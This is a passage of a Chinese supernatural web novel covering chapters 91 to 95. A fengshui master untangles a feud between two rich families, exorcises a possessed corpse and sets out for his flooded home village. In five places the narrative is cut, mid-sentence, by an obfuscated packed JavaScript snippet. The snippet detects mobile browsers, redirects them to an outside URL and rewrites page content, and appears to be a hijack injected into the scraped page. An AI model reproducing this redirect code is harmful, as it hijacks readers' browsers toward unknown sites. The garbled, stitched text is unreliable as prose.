我没吭声。 这算是鸿门宴,直接就请君入瓮了。 虽然弄不清楚,为什么他们白天想杀我,这会儿不杀了,反倒是将寻龙分金尺还给我。 但此刻,最好是平安无恙的从葛家的庄园里走出去。 否则,天知道他们会不会改变主意? 双拳难敌四手,尤其是在别人家里,我根本没有任何优势可言。 默不作声,我继续迈步往外走。 “哈哈哈哈,没有气性的软骨头,真是个垃圾。”那男人还在骂,还在……挑衅? 对,这并非是单纯的辱骂我,就是在激怒我,就是在挑衅! 他想让我反抗?反击? 回想起来,除了他们白天对我的一番针对,先前那白发老头的话,只是对我的警告。 其实,他们明明可以杀了我。 为什么不杀? 为什么我对卢家的风水更改,给他们造成了麻烦,他们都将我请进了家里,能够瓮中捉鳖,反而是还给我法器,只是几句警告? 这里边儿,必然有蹊跷! 难道说……和陈瞰山有关?和老陈家有关? 那白发老头,有所忌惮? 侮辱挑衅我的男人,他的目的是什么? 我一旦还击,他是否就能顺理成章的杀了我? 因为最重要有一点,陈瞰山已经**…… 前段时间,他就死在了小二楼下的墓室里边儿。 一个**,又怎么可能对葛家造成影响,更不可能对那白发老头造成什么影响…… 脑子里一大串的问题,就像是乱麻一样,得不到答案。 我迈步走出葛家大门时,空气都还是一阵阵凝滞。 路旁,先前送我来的那辆车,又停在了我身旁。 那个卢家人只是和我点点头,还是意味深长的笑了笑。 他是示意我上车。 我没有上车,死死的盯着他。 这人,有问题! 对,我先前就判断过,卢家肯定有人有问题,才会让卢晟一定要看住我改的那三处风水。 还有另一个问题,就是当初卢家那神刹之地的船,十有**,是此人暗中埋进去的。 葛家针对卢家,不是一天两天了。 内心透着一丝丝煎熬感,一时间,我却不知道如何抉择。 继续帮卢家? 已经成了对方的手下败将一次,不知道为什么,对方放过了我,还给我法器。 他们的折辱让人难受,可手下败将,受辱不奇怪。 我本事不够,能拿回来东西,保住命,就只能说值得庆幸。 如果说,继续和对方斗呢? 就要卷入卢家和葛家不知名的纷争? 可看起来,明面上两家还要合作……他们究竟哪儿有仇怨? 卢晟自己不清楚吗? 退一万步说,如果我不管卢家,卢家肯定得完蛋。 不过……再话归正题,我已经拿了卢家八十万。 挖出覆船,更改风水,算是两清了。 为什么还和卢家有瓜葛,也是因为尺子被针对他们的人拿走。 尺子归还,我好像真的没有什么理由,再继续帮卢家? 若硬要帮,就是要和这群人对峙? 退避三舍,无非是个颜面问题? “陈先生,你不上车吗?你如果要回去回水湾,我也能送你。”那卢家人喊了我一声,他直接演都不演了。 我深呼吸,径直朝着前方走去,没有上他的车。 走到一处路口,我叫了网约车,车定位的地点,是在卢家。 后视镜中,一直能瞧见,那卢家人的车在后边儿尾随。 等我回到卢家的时候,夜已经深了。 下车,进大院儿门。 那卢家人车停在院子旁,车窗开了,他眼中略带着一丝惊疑,似是没想到我会回来。 等我回到堂屋里,卢晟在喝茶,有些昏昏欲睡。 瞧见我,卢晟一下子清醒过来,站起身,笑着喊:“陈先生,这么快,我还以为你会在葛家多待一会儿,甚至给他们也看看宅呢。” “嗯,随便看了看,聊了几句,没事儿,就回来了。”我回答。 “哎,是。”卢晟略显得紧张,还有几分欲言又止。 我看得出来,他是想问我风水的事儿。 “我其实疑惑一件事儿。”我开了口。 “陈先生但说无妨!”卢晟立即回答。 “倒也不是什么大事,还是关于葛家的,葛家的生意,对卢家来说很重要吗?还是说,葛家和卢家的关系很特殊?否则,相关于我要再和卢家合作改风水,卢家主你现在都能让我去葛家?不怕我分神?”我问道。 其实,我更想问卢家和葛家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304473|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是有什么瓜葛纠缠,可是,直接说,明显就将问题太抛在桌面上。 这种委婉的方式,一样能让卢晟说不少话。 人往往擅长在各种话中捕风捉影。 卢晟愣了一下,他才笑了笑,说:“陈先生慧眼如炬,不过,我们同葛家的渊源,还是有些长了。” “怎么说呢?我们也算是,冤家宜解不宜结?” 卢晟这话,直接让我心头微凛。 他打开了话匣子,道:“好些年前,卢家没有发迹,葛家已经是大门户了,那时候,我家老爷子的爷爷,还在葛家当过账房先生。” “那些年嘛,多事之秋,乱的很。” “有一年,军阀进城,那伙人凶得很,专找大门户开刀,葛家就收拾了细软,准备暂时逃出内沧市,筹备着以后东山再起。” “我太爷爷,就动了个小心思,把一车子细软给藏了,谎称是遗落在宅子里。” “这事儿,当年也就不了了之。” “之后军阀走了,葛家回到市里头,我太爷爷呢,就找了个由头,没在葛家干了,借着那车财物,自己做起了生意,卢家就慢慢发迹了,甚至运气好,和葛家很快就不相上下。不过我太爷爷那人心里藏不住事儿,葛家当年老爷子对他也不错,他总觉得自己对不住葛家,这事儿的确他当了小人。” “因此,他将那车财物折价之后三倍奉还,说是他弄丢葛家钱财的赔偿,葛家当时说什么都不要,太爷爷酒后吐真言,就将事情一五一十说了。” “葛家这才将东西收下,之后两家也算是正常往来。” “直到近几年,我们两家人的关系愈来愈深,葛家不是做医疗器械的生意吗?他们还开了好几家连锁的医美,哎,说到这里,小茜如果在葛家那些地方动脸,都不会出这些事儿。” “她最开始是在葛家的医美的,之后她频次太高,葛家就告诉我爸了,我爸就让他们别再给小茜签单。” “之后……小茜才会去了外边儿,才会不知道为什么撞上鬼祟……” 话音至此,卢晟脸色发苦。 他又叹了口气,才道:“不过,如果不是这样,也发现不了那覆船埋在卢家的事儿,怎么说呢,有陈先生在我们卢家坐镇,不管什么商业竞争对手也好,或者是眼馋我卢家的人也罢,他们都做不了什么!不是吗?” 卢晟对我的眼神,是完完全全的信任。 第92章 分开?没有这个必要 我心头,却一沉再沉。 卢家和葛家的渊源,居然这么深?牵扯了这么好几代人? 不过,话归正题…… 卢家的发迹,根本不是什么光明磊落的手段。 葛家真的心里没有什么意见吗? 还是因为,那时候的卢家,已经和葛家平起平坐,他们就算翻脸,也没有多大的效果? 或许,他们还有什么忌惮卢家的地方? 又或许……他们当年没有一个风水先生。 这仇恨的点,就一直深埋着,时至今日才引发? 卢晟现在都没反应过来,问题的核心点,就是在卢茜整容这件事情上。 很简单。 他怎么就能清楚,卢茜不是在葛家下边儿的医美完成的整容,又怎么能确认,是不是葛家骗了卢茜,去了有问题的地方,实际上,是葛家早就有所安排? 终究,卢晟不是这一行的人,就像是我前段时间刚入行似的,不懂很多常识。 这下子,事情算是弄清楚了。 卢家和葛家,是宿怨。 卢家没认为这件事情和现在有关我,甚至还觉得,葛家是好朋友。 那我心里那一丝放不下的纠结点,就算是打开了。 既然葛家不是莫名其妙去害卢家,我还起什么善念? 总不能一颗圣母心,非要帮卢家讨个公道? 冤家宜解不宜结,这只是一个极度理想的说法。 更深刻的还是,君子报仇,十年不晚。 “我明白了,卢家主,这还真的是渊源很深。” “卢小姐的事情……嗯,这样吧,我得先将卢小姐的尸身归还给卢家,你们连夜送去火化,先前的事情,就算是彻底了结。”我道。 “小茜……会不闹鬼了吗?”卢晟的脸上多少有几分紧张。 “我会压住的,火葬场的炉子里,有镇鬼的符,尸身被焚烧成骨灰后,就不会有什么事儿了,卢家再好好安葬即可。”我解释完,稍稍一顿:“关于事后的风水,也得等卢小姐下葬后,我们再做商议,恰好,我这几天又有其他的事情要忙一下,回头来看。” “啊?”卢晟的眼中,带着一丝丝失落。 我看出来,却没多言。 “我先离开了卢家主,就让他,跟我去领卢小姐尸体吧。”抬手,我指了指堂屋门外一人。 这就是先前送我,又开车跟着我那人。 我进卢家之后,他就跟上来了,杵在堂屋外边儿“明目张胆”的听。 卢晟对这人没有怀疑心,再加上我们聊的东西,也没有多敏感? 只是我不晓得,他毕竟是卢家人,葛家给了什么好处,让他出卖家族? “卢宥,你还是跟着去送陈先生,再将小茜尸体带回来吧。”卢晟开了口。 “是,大哥。”卢宥点点头。 从卢家出去的时候,他没有多说任何话,更没什么表情,显得很正常。 该听的,他都听见了。 葛家会知道谈话内容,自然不会再来找我的麻烦。 等回到了回水湾。 我让卢宥在小二楼外等。 自己进了小二楼里边儿后,钻进了衣柜后的通道,下了地底的墓室里。 卢茜尸身静静躺在地上。 过去这么多天,她头脸,衣服,都是湿润的,没有丝毫风干。 放在一旁桌上的绣花鞋,铜镜,一样好端端的摆着。 我稍一思索,摸出来了寻龙分金尺,摁在了卢茜尸身的头顶位置。 刚开始没什么反应。 片刻后,尺子和尸体接触的地方,冒起了滋滋白烟。 寻龙分金尺能打鬼,破邪。 这个墓室里,有**尸鬼的符,导致白姝灵都只能待在布人里,或者出来后,就在房间中不能进来。 因此,魂魄是在尸身中的。 很快,除了白烟外,卢茜脸上数个位置,都开始变黑,腐烂。 首先是鼻梁,随后是脸颊,最后是下巴! 随着皮肉腐烂,曝露出来的,就是几片薄薄的骨头。 我似是听到了一声惨叫。 那几块骨头从黑色,瞬间变成了焦炭一样。 卢茜尸身上的阴气,完全消失不见。 不光如此,那面铜镜同样发出咔嚓一声碎响,中间裂开一道缝! 这鸠占鹊巢的鬼,被寻龙分金尺镇散了? 脸上的这些骨片,就是她能够占据卢茜身体的原因? 整容…… 用的是别人的骨头? 我脑子里瞬间就钩织出了一条逻辑线。 葛家为了计算卢家,用了不止一个手段。 家中埋覆船,是一种。 在卢茜身上,用**骨头给她垫鼻子,垫颧骨,垫下巴,又是另一种。 不光是风水**,闹鬼,更诛心? 至于卢茜当时为什么夜里去陵墓,这也有解答了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304474|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身上的骨头,就是来自于陵墓中的人。 她会做那一系列反常的事情,都是被身上的鬼所支配! 彻底想清楚这一切,我将属于卢茜本身的那双绣花鞋,穿在她尸身脚上。 当然,我先拿下来了寻龙分金尺。 再接着,我将尸身背出了地下墓室。 扛着尸体出小二楼门外。 卢宥还在那里等着。 他瞧见尸体的时候,还隐隐有些害怕。 我将尸体放进了他后备箱,才掸了掸身上的灰尘,又将铜镜塞给卢宥。 “怕什么?他们针对卢家,又不针对你。”我语气格外直接。 卢宥这才松了口气。 “回去给卢家主带话,我怕他记不清楚了,这几天我有事情,不会去卢家了。”我沉声说。 卢宥连连点头,回答:“我一五一十带到,陈先生如此识时务,不愧为俊杰。” 他转身,就上了车。 很快,车远离了。 我站在小二楼前,久久没有回屋。 “废物,什么都怕。”白姝灵悄无声息的出现在我身旁,眼神清冷,蔑视。 “所以,明知道是卷入他人纷争,还是要卷入,就不是废物了?你先前也喊我不要进葛家了,不一样让我跑吗?” “根源,不是废物,是我没有按照你的需求,去做你的事儿。”我摇摇头:“何须绕那么多弯子。” “你都清楚,那你还留着我做什么?只是因为婚约?不一样是利用我?令人恶心。”白姝灵蹙眉,眼中厌恶更重。 我没吭声,眯着眼看她,内心更不舒服了。 对她,我的确没好感,可另一部分的白姝灵,不是这样的。 说实话,如果单纯是眼前这白姝灵,她要走,我放她走就好了,婚约,解开了都无所谓。 可另一部分的白姝灵……嫁鸡随鸡,嫁狗随狗,我若是不管她,那她会遭遇什么?我不敢想。 “我会想办法,将你们分开。”思绪至此,我沉声说道。 “分开?没有这个必要,很快,那部分残魂,就不会影响到我了。她只是个残魂而已,你不要以为,你真就是和我有什么割裂不开的关系。”白姝灵冷笑回答。 不过,她话音落下的瞬间,眸子就忽地一红,是淌下了两行泪。 “贱妇,你哭什么哭?”白姝灵语气冷漠。 她,骂的赫然是自己另一部分魂魄! 第93章 黄渠封河 不会影响…… 就是眼前这部分白姝灵,会蚕食掉另一部分白姝灵? 我心头闷着一口气,没有再开口说话了。 “真可笑,男人有什么好的?你还非要不可?”白姝灵这话,更透着几分尖酸刻薄。 随后,她消失不见。 摸出来那个布人,我默默看了许久。 冷不丁的,我抬头看了一眼前方,因为第六感察觉到了一股注视。 平房边缘的墙下,立着个白影子,眼睛奇大无比,双腿短,双臂上,手指又短小,中间连着肉,它正直勾勾的盯着我。 河神老爷! 它其实更应该叫水尸鬼。 只不过,死水潭子里的水尸鬼是黑色的,它是白的,像是得了病,又像是太老,老的身上皮**都成了惨白! 这“河神老爷”一直都对白姝灵垂涎欲滴,只不过它和死水潭子里的水尸鬼不一样,被苟驹供奉,让它少了几分阴诡和野性?多了几分身段? 因此,除了头天我刚到这里,它偷走了布人,此后,它就没有任何非正常举动? 甚至在卢茜钻进我住处,针对我,吸我阳气的时候,出手帮忙? 它现在盯着我,想干什么? 多多少少,我心头有些发毛,正要转身进小二楼里,平房另一侧鬼鬼祟祟冒出来个人,手中却持着三根香,他卑躬屈膝,手中喃喃念着什么。 我一眼就认出来,不正是苟驹吗? 河神老爷嗖的一下成了道白影,回蹿到平房另一侧,消失不见。 苟驹回看了一眼,将香插在地上,这才朝着我走来。 摸了摸光头,苟驹咧嘴笑了笑:“陈先生,事情办妥了?” “嗯,妥了。”我点头。 “那明儿……”苟驹开门见山,就要切正题。 他先前就想说这件事儿,我说了要去卢家。 其实,最开始帮卢家解决风水问题前,苟驹就有事儿想办,被卢家打断了而已。 “你这段时间,观察过瞿九娘的信息吗?”我率先开口,问苟驹。 “那倒是没有,怎么了陈先生?”苟驹被我打岔,面带疑惑。 “黄渠村,被封村了。”我哑声再道。 “黄渠村?”苟驹还是不明所以。 我一下子就明白,苟驹只是一直等瞿九娘的约定。 我来自哪儿,这对他来说不重要,瞿九娘本身也不重要,或者换句话来说,他干涉不到瞿九娘的事儿,而他又不是陈瞰山,更不可能去关注黄渠村了。 葛家那个白发老头之所以会知道黄渠村,必然是因为他调查过我! 一系列威逼利诱,让我不要管卢家的事儿,又告诉我黄渠村有事,另一层意思,就是转移我的视线! 我还弄不清楚,为什么他们能杀我,又不杀,还要归还寻龙分金尺。 总归,现在问题切切实实摆在我面前,就是黄渠村又生了变。 我出来二十多天了,这年,都清清淡淡的过了,大部分时间都待在小二楼里看风水术。 最初苟驹说,三年水事,是真让我心惶,以为瞿九娘的计算中,我真的得学三年。 现在看来,葬经百解我全部读完,只差实践。 说不定,已经有办法对付陈梁生,已经能应对黄渠村内的局面? 我思绪很快,沉声说:“对,黄渠村,你帮我打听打听,黄渠村为什么封村,究竟出了什么事儿,这件事情利索了,我帮你水事。” “成!”苟驹点头。 他立马摸出来手机打电话。 打了不止一个,苟驹从最开始面色轻松,逐渐到了紧绷,额头蹭蹭冒汗。 正因此,我心头都悬起来了不少。 “怪了事儿了,黄渠村,那地方应该挺远,天沧江的支流没过去,我们这群捞尸的,就不了解那里。” “可就最近这段时间,村子门口突然出现了一条河,好家伙,十几二十米宽的河,都算是条大河了,就那么冷不丁冒了出来。” 苟驹脸上的汗珠更豆大一颗。 “最主要的是,那条河里全都是水尸鬼……弄得村里边儿人出不去,外边儿的人进不去,还**人,已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304475|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经有捞尸人去过,都死里边儿了。” “这**……也是我撂单出来干捞尸队,这算是行内的大消息,居然都没有人告诉我……” 苟驹这话说完,整个人都汗流浃背,还来回踱步。 我瞳孔一直微缩,眼皮还忍不住的抽搐轻跳。 “陈先生从黄渠村出来的?”苟驹试探的问了句:“那里风水出问题了?” “我听人说,那条河还在涨,可能都会直接将村子淹了,会形成个湖泊,这麻烦可就大了……一村的人也要折进去不说,那么多水尸鬼跑出来,以后这天沧江,别说我捞尸队这几个人,就算把百里流域的捞尸人全都弄过来,组成个捞尸队,那也游不动啊!” 说着,苟驹又重重跺了跺脚,唉声叹气个不停。 苟驹前边儿说的还好。 那条旧河道,也就是以前的大河,黄渠,因为水口开了,死水潭子冒水,那里就是有一条河,我出来那天,水就漫上了马路。 可我完完全全没想到,河水会直接失控,淹没整个村子? 这样一来,哪有等我再学术的时间? 我爸,爷爷,甚至是瞿九娘都得成水鬼,尸体都要让水尸鬼啃个干干净净? “老苟叔,我怕是要失陪几天,得回村里看看了。”我声音极度沙哑,眼珠子都微微泛红。 苟驹思索再三,他重重点头,说:“要得,我跟你一道去看看。” “黄渠村危险,你不必……”我话还没说完。 苟驹摸出来个酒瓶子,对嘴滋了一口,哈了一口气,才说:“是危险,危险也得去,为啥那里去捞尸人,还有捞尸人死里边儿?水尸鬼绝对不能跑出来,不然,这靠着天沧江吃捞尸这碗饭的,都去喝西北风吧,到时候,我们这群人,还得被其他江域的同行记恨,水尸鬼这玩意儿,处理不好,就是大患。” 我心头再微微一凛,点头之余,我却不由自主的斜睨了平房那边儿一眼。 苟驹对水尸鬼都这么警惕,凝重。 那河神老爷,他又怎么解释? 那不也是个水尸鬼吗? 第94章 请河神夺女,让九尸拉棺! 只不过,这毕竟关乎到苟驹的隐秘,我不好说,便没多言了。 和苟驹又简单商议了几句,我意思是现在就走。 稍稍一顿,苟驹才说:“陈先生,我比你多吃几年盐巴,我晓得你急,但你别那么急,心急吃不了热豆腐,你是先生,冷静下来,你比我会想的多,对不对?” “今晚上先好好睡一觉,养精蓄锐,我也要做点准备,以防万一。” 往常,苟驹对我的态度,基本上是听我的。 毕竟,我们就办了两件事儿,都关乎风水。 此刻面临的直接风险,就是黄渠里的水尸鬼,苟驹自然能说上话了。 他愈发认真,我就愈发清楚,水尸鬼肯定没有那么简单。 至少,没有我认知中简单。 先前我看似去过死水潭子几次,可和水尸鬼有正面接触吗? 没有。 每一次,都是引开了水尸鬼! 苟驹转身离开了。 这耽误之下,都快到午夜。 我刚推门进小二楼里,头皮就噌的一下发麻。 客厅里,静静站着一个人。 他身材极为高大,肩宽,发白。 这人影我熟悉。 不是卢老爷子,居然是陈瞰山的魂魄,又回来了!? 上一回,就是这鬼魂将我引进了房间,我才复而用罗盘发现了衣柜后的暗道! 他穿着一身唐装,格外板正。 尤其是那张脸,愈发看,和爷爷愈发相似,都有七八分了。 最关键的是,他脸上没了尸体有的尸斑,看上去,就是个仪态十分端正的老人。 虽然是鬼,给人的气息阴冷,可他整体的气势,却给人一种恢弘压迫。就像是小巫见大巫,小先生见老先生一般。 我还以为,他已经去投了胎…… 毕竟,他只是抱憾而死,没有含冤,人死,就是要投胎才对! 额间微微冒汗,我手,慢慢往兜里摸。 偏偏这时,陈瞰山的鬼魂往我房间的位置一转身,他就踮着脚尖飘了进去。 我心咚咚直跳,迟钝了约莫几秒钟,就立即迈步跟上! 屋内的窗帘猛烈的飘舞,月光争先恐后的钻进卧室内。 陈瞰山的鬼魂,消失不见了…… 心跳,落空了半拍。 他走了? 只是……回来看一看? 忽然,衣柜门上开始渗透血迹。 顷刻间,就成了一行字。 “河神夺女,九尸拉棺。” 血淋淋的字迹,触目惊心。 我心更咚咚猛跳,几乎要从嗓子眼里蹦出来了。 脑海中迅速回荡起一段话。 “我的大限之日快到了,看来,真的是阳极必阴,陈家真要只剩最后一个男丁,或是最后一个精通风水的人,才有可能重新站起来,相关于锁龙井的破解之法,那凶尸的克制之法,我留在了回水湾里。” “陈棺生,我知道你会来,我知道你会看见这一封信。” “你记住了,让河神夺女,请九尸拉棺,你的风水术就到了能解决锁龙井问题的时候,你就能拿到我留下的法子。” “垂涎陈家的宵小之辈,更翻不起什么风浪。” “我陈瞰山在老陈家所有人的眼中,是一个临阵脱逃之人,可事实上,我逆转了一切!” 明明是文不能言,可脑海中竟像是听到一个苍老,空幽,又带着一丝苍劲感的声音在低吼! 手,微微发颤,我眼睛瞪大,衣柜上边儿的血字,却慢慢消失不见。 窗帘没有再舞动。 月光没有再钻进来。 房间的光线变得很暗沉,我模模糊糊的影子斜射在衣柜上。 心跳的速度,没有半分减缓。 我得捂着心口,才能稍稍镇定,舒服一点点。 锁龙井…… 对…… 我忽略了一个关键性的问题。 陈瞰山的鬼魂,都在提醒我了…… 他,居然一直在看着我吗? 我自己多考虑的是自己有没有本事对付陈梁生了。 有没有本事应对村子里的固有危险。 我……没有想到锁龙井的麻烦。 换句话说,我下意识规避了,我认为,陈梁生一样会被锁龙井所牵制,他应该没那么快,将井中的东西放出来。 那于我来说,就是要从他手里抢回我爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309352|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一缕魂,带着爷爷和我爸离开黄渠村,就能摆脱危险,天高任鸟飞,海阔凭鱼跃! 只是……陈瞰山不那么看?! 呼吸分外粗重,眼珠又一次逐渐发红。 问题的关键,不是我不去拿他解决锁龙井的法子。 河神夺女,就是让他抢走白姝灵。 这就是我做不到的地方。 至于九尸拉棺,现在我更没眉目…… 对,这就是风水术的应变?陈瞰山想要考验我的地方? 他等得起,我爸和爷爷等不起啊! 脑子一阵阵嗡嗡作响,耳朵还一阵阵耳鸣。 我闭眼,尽可能驱散掉脑中杂乱思绪,再睁眼,我取出来罗盘,将其竖着摆在床头柜上。 我不想**扰。 罗盘辟邪,陈瞰山就不能进来了。 另外,我手还一直压在衣兜里,确保河神老爷就算钻进来,都不可能在我没反应的情况下,再偷走白姝灵的小人。 开始脑袋十分清醒,半晌,我才总算沉沉陷入睡梦中…… 没睡多久,我耳边就隐约听到一些碎语,像是骂声,谴责,恨铁不成钢。 一个激灵,睁开眼,屋子里又安安静静。 房门紧闭,半个鬼影子都没有…… 再闭眼,我猛地打了个寒颤,站起身,蹬蹬两步走到衣柜前头,一把拉开衣柜门,入目所视,空空荡荡,那块挡住通道的木板也没有丝毫异样…… 可先前,我明明感觉,这衣柜里有一道目光在注视我一样啊? 缓缓关上衣柜门,转身,要上床。 头皮噌的一下又发麻,我猛地回头,再一把拽开衣柜门。 衣柜内还是空空荡荡……仿佛我是在大惊小怪…… 呼吸太粗重了,脑仁还一阵阵发疼,是太久没休息好。 我揉了揉眉心,心里默默想,自己压力太大了。 还以为陈瞰山在衣柜里看我。 床头分明还有罗盘镇着呢,他怎么可能进来? 就算他鬼的级别高,阴气重,那至少也得将罗盘弄倒才对。 再上床,我一头栽倒就睡…… 隐隐约约,耳边却像是听到了一声叹息。 第95章 回村 再度勉强抬起眼皮,屋内的的确确什么鬼影子都没有啊,视线最后定格在床头罗盘上,意识彻底暗沉下去,我睡着了。 这一觉我睡得比想象中久,正常情况下,心中有事儿,几个小时都会及时醒来,结果当我睁眼后,都已经日上三竿。 匆匆洗漱,简单收拾东西,推开小二楼门,一眼就瞧见,有个捞尸队的人在外边儿玩手机。 “陈先生醒了!”这人语气高亢的喊了声:“老苟等你呢。” 他就匆匆往前带路。 平房那儿,苟驹正在和捞尸队其余几人沟通什么,二手烟缭绕。 “行,散了吧。”苟驹摆摆手,那些人才散去。 手掌扇了扇衣服上的烟气,苟驹又指了指厨房,示意我去。 桌上摆着不少吃食,油条油饼油茶。 我其实不太想耽误时间,不过,的确腹中空空,扑鼻的香气还让肚子咕噜叫了一声。 “和手底下的人叮嘱了几句,这段时间,就正常打捞,有麻烦的不接。”苟驹笑呵呵的和我解释。 其实这些都没多大必要和我说,不过,苟驹这人实在。 一边点头,我一边大口吃东西。 忽地心有所感,我说:“回水湾下边儿,是不是有棺材?” “陈先生怎么问这个?”苟驹显得诧异,他蹙眉一思索,才摇摇头说:“这我就不知道了,**捞尸队,也就这一二十**儿,最近几年,附近流域淹死的人少了些,以前游泳死的多。” “棺材,得是更长时间以前埋的吧?如果水底下有个墓,这也不奇怪,陈先生,你看出来什么蹊跷了?” 说着,苟驹眼中就多了几丝兴奋,还有些摩拳擦掌。 “那咱们可以等从黄渠村回来,我招呼手底下这几个人,潜到江底好好看看,肥水不流外人田嘛。” “没有,我只是随便问问。”摇摇头,我没继续这个话题。 苟驹的念头很直白,有棺材就有坟,老坟里肯定有些老物件。 以往每逢清明重阳,村子里到处都有人祭祖,我们家往上没有要祭拜的人,不过,我也算见过不少坟包。 遇到那种特别老的,甚至看墓碑是前清,葬人还有些官位的坟,我心里就会想,里边儿多少有些古董,后人怎么不去挖出来? “哦……”苟驹稍有几分悻然。 撇去河神夺女这件事情不能做,九尸拉棺回头肯定要考虑,不过,不是现在。 一餐饭吃罢,我就同苟驹离开回水湾。 有个小插曲值得一提,苟驹没有和我去坐车,他开船。 苟驹的意思是,黄渠村在天沧江的下游一段,撑船过去能到一个镇外,再进黄渠村,至多走半小时。 我自没有别的意见。 上船后,我注意到船头居然有个木箱子,上边儿还压了一块红布,在阳光下倒是很刺目。 哐当哐当的发动机声中,船径直朝着江中驶去。 这时,余光瞧见路边来了一辆车,停下来后,迅速从驾驶室下来个人,冲着我们摆手大喊。 “欸!陈先生!”喊声在江面回荡。 来人不正是卢晟吗? “哟,卢家主又要送钱来了。”苟驹笑眯眯说了句。 我没说话。 昨天和那个卢宥,该交代的都交代了。 其实从卢家离开之前,我一样和卢晟简明扼要说了些。 至少直白明面上,我是告知了卢晟,这段时间顾不上卢家。 实际上,他和葛家的恩怨,算是宿怨,我要是牵扯进去,才算是愚蠢。 葛家那几人对我态度是很恶劣,还有羞辱性,可实质上没造成什么伤害。 他们不想和我死磕,我要是去和他们死磕,纯属于自找麻烦。 手机嗡嗡震动起来。 卢晟的电话。 我没接,干脆关了机。 这段时间,手机对我来说都快成摆设了,爷爷联系不上,我社交圈窄,基本上没人找我。 很快,船就驶出去很远,余光能瞧见岸边,卢晟一直在追,之后实在追不上,半蹲在地上,他的身影终究是成了小小一点,消失不见。 “陈先生你咋不搭理卢家主了?”苟驹显得很奇怪。 “先前的事情,收过钱,一码归一码了。”我基本上用苟驹之前和我说的逻辑回复了他。 “原来如此,其他事情不想和卢家沾边儿了,也成,好事不过三,挣了他两笔钱,够够的。”苟驹一脸明白的表情。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309353|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可很快,苟驹手机就响了起来,他接通后,就说了几句,便一直说:“你说什么卢家主?诶,我这里信号不太好?” “啥?谁生了。” “哎呀,完全听不清……这样,有什么等我们办完这件事情,以后慢慢说。” 苟驹刻意将电话离得脸很远,语罢,直接挂断。 我暗暗佩服苟驹,他算是圆滑了。 “卢家好像有点儿问题啊,不是陈先生你让他们带走卢小姐尸体的事儿吧?卢家主急得很,说什么貔貅烂屁股,麒麟长铜锈,井水还干了?”苟驹小心翼翼的问我。 我心头微凛。 葛家的动作……好快! 那白发老头的风水手段,好强! 我估计的破解之法,是要人去动三个位置的镇物。 可没想到,他居然直接硬破? 也还好,这些镇物完全是卢家的,我改完风水,就算是没关系了,否则,又得被反煞…… 重重吐了口浊气,我摇头说:“这都是卢家自己的事儿,他们自己的纠葛,我没必要去掺和。” 苟驹恍然大悟的点头,说:“看来,陈先生是晓得他们为什么被害了,感情,是他们自找的?” 苟驹当真是个聪明人,他一眼看出苗头,随后,直接掐断了这话题,在船尖儿位置,自顾自的控制方向。 走水路快得很,我坐车花了不短的时间才到回水湾,结果不到一小时,船就停在了一个镇外。 当初我从村子里出来,就是徒步走到了这个镇坐的野出租进市区,开车得百公里的路呢,水路直来直往,是真快。 苟驹将船停在了一处码头的位置,也没管船头那盖红布的箱子,就招呼着我下来了。 到这儿,苟驹就不认路了,我领着他往黄渠村的方向走。 半小时左右,我们两人停在黄渠村外,而入目的一切,已经大变模样,让我心门口都一阵发堵。 村口那个小型的u形公路不见了,从公路凹处来说,水位至少抬高了两三米,蔓延到村子里边儿,直接将那些柳树都淹没了半米左右的树干。 整个水面,接近三十米宽,都形成了一条大河! 